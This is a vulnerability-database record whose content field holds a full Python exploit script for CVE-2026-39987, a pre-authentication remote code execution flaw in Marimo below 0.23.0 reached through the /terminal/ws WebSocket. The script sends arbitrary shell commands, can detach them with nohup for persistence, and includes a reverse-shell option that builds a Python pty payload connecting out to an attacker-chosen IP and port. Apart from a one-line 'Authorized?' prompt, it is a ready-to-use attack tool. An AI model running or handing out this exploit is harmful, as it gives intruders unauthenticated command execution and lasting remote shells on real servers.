{"uuid": "f39d4b3c-e568-482e-a53f-5188ebcfe1b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://gist.github.com/byt3n33dl3/19eb1e71f4387d6411f8279c199e7d1a", "content": "#!/usr/bin/env python3\n\"\"\"\nCVE-2026-39987 - Marimo &lt; 0.23.0 Pre-Auth RCE via /terminal/ws\nMODIFIED: added persistent reverse shell support.\n\"\"\"\n\nimport sys\nimport time\nimport argparse\nfrom urllib.parse import urlparse\n\ntry:\n    import websocket\nexcept ImportError:\n    print(\"[!] Missing dependency: pip install websocket-client\")\n    sys.exit(1)\n\n\ndef build_ws_url(target: str) -&gt; str:\n    parsed = urlparse(target if \"://\" in target else f\"https://{target}\")\n    scheme = \"wss\" if parsed.scheme == \"https\" else \"ws\"\n    netloc = parsed.netloc or parsed.path\n    return f\"{scheme}://{netloc}/terminal/ws\"\n\n\ndef run_command(ws_url: str, command: str, read_seconds: float = 0.5, verify_ssl: bool = False, persist: bool = False):\n    if persist:\n        # Wrap command with nohup and send to background\n        command = f\"nohup {command} &gt; /dev/null 2&gt;&amp;1 &amp;\"\n        print(f\"[*] Persist mode: running detached: {command}\")\n        # We don't need to read much output because it's backgrounded\n        read_seconds = 0.5\n\n    print(f\"[*] Connecting to: {ws_url}\")\n    sslopt = {\"cert_reqs\": 0} if not verify_ssl else None\n    ws = websocket.create_connection(ws_url, timeout=10, sslopt=sslopt)\n    print(\"[+] WebSocket connected\")\n\n    # Drain initial banner\n    ws.settimeout(1.0)\n    try:\n        while True:\n            banner = ws.recv()\n            print(f\"[banner] {banner!r}\")\n    except:\n        pass\n\n    # Send command with newline\n    payload = command + \"\\n\"\n    print(f\"[*] Sending: {payload!r}\")\n    ws.send(payload)\n\n    # Read output for a short time (if any immediate response)\n    output_chunks = []\n    ws.settimeout(0.5)\n    end_time = time.time() + read_seconds\n    while time.time() &lt; end_time:\n        try:\n            chunk = ws.recv()\n            if chunk:\n                output_chunks.append(chunk)\n        except:\n            continue\n\n    ws.close()\n\n    full_output = \"\".join(\n        c if isinstance(c, str) else c.decode(errors=\"replace\")\n        for c in output_chunks\n    )\n\n    if full_output:\n        print(\"\\n\" + \"=\" * 60)\n        print(\"OUTPUT:\")\n        print(\"=\" * 60)\n        print(full_output)\n        print(\"=\" * 60)\n    else:\n        print(\"[*] No output received (expected if command is running in background).\")\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\"CVE-2026-39987 Marimo PoC (fixed)\")\n    parser.add_argument(\"target\", help=\"Target URL, e.g. https://host\")\n    parser.add_argument(\"command\", nargs=\"?\", help=\"Command to execute (optional with --revshell)\")\n    parser.add_argument(\"--revshell\", nargs=2, metavar=(\"IP\", \"PORT\"), help=\"Generate a persistent reverse shell\")\n    parser.add_argument(\"--persist\", action=\"store_true\", help=\"Wrap command with nohup &amp; background\")\n    parser.add_argument(\"--read-seconds\", type=float, default=1.0, help=\"Time to wait for output\")\n    parser.add_argument(\"--verify-ssl\", action=\"store_true\", help=\"Verify TLS certs\")\n    args = parser.parse_args()\n\n    confirm = input(\"Authorized? (yes/no): \").strip().lower()\n    if confirm != \"yes\":\n        print(\"[!] Aborting.\")\n        sys.exit(1)\n\n    if args.revshell:\n        ip, port = args.revshell\n        # Build persistent reverse shell payload (Python with pty)\n        command = (\n            f\"python3 -c 'import socket,subprocess,os,pty;\"\n            f\"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);\"\n            f\"s.connect((\\\"{ip}\\\",{port}));\"\n            f\"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);\"\n            f\"pty.spawn(\\\"/bin/bash\\\")'\"\n        )\n        persist = True\n    else:\n        if not args.command:\n            parser.print_help()\n            sys.exit(1)\n        command = args.command\n        persist = args.persist\n\n    ws_url = build_ws_url(args.target) if \"/terminal/ws\" not in args.target else args.target\n    run_command(ws_url, command, read_seconds=args.read_seconds, verify_ssl=args.verify_ssl, persist=persist)\n\n\nif __name__ == \"__main__\":\n    main()", "creation_timestamp": "2026-08-02T05:24:34.189466Z"}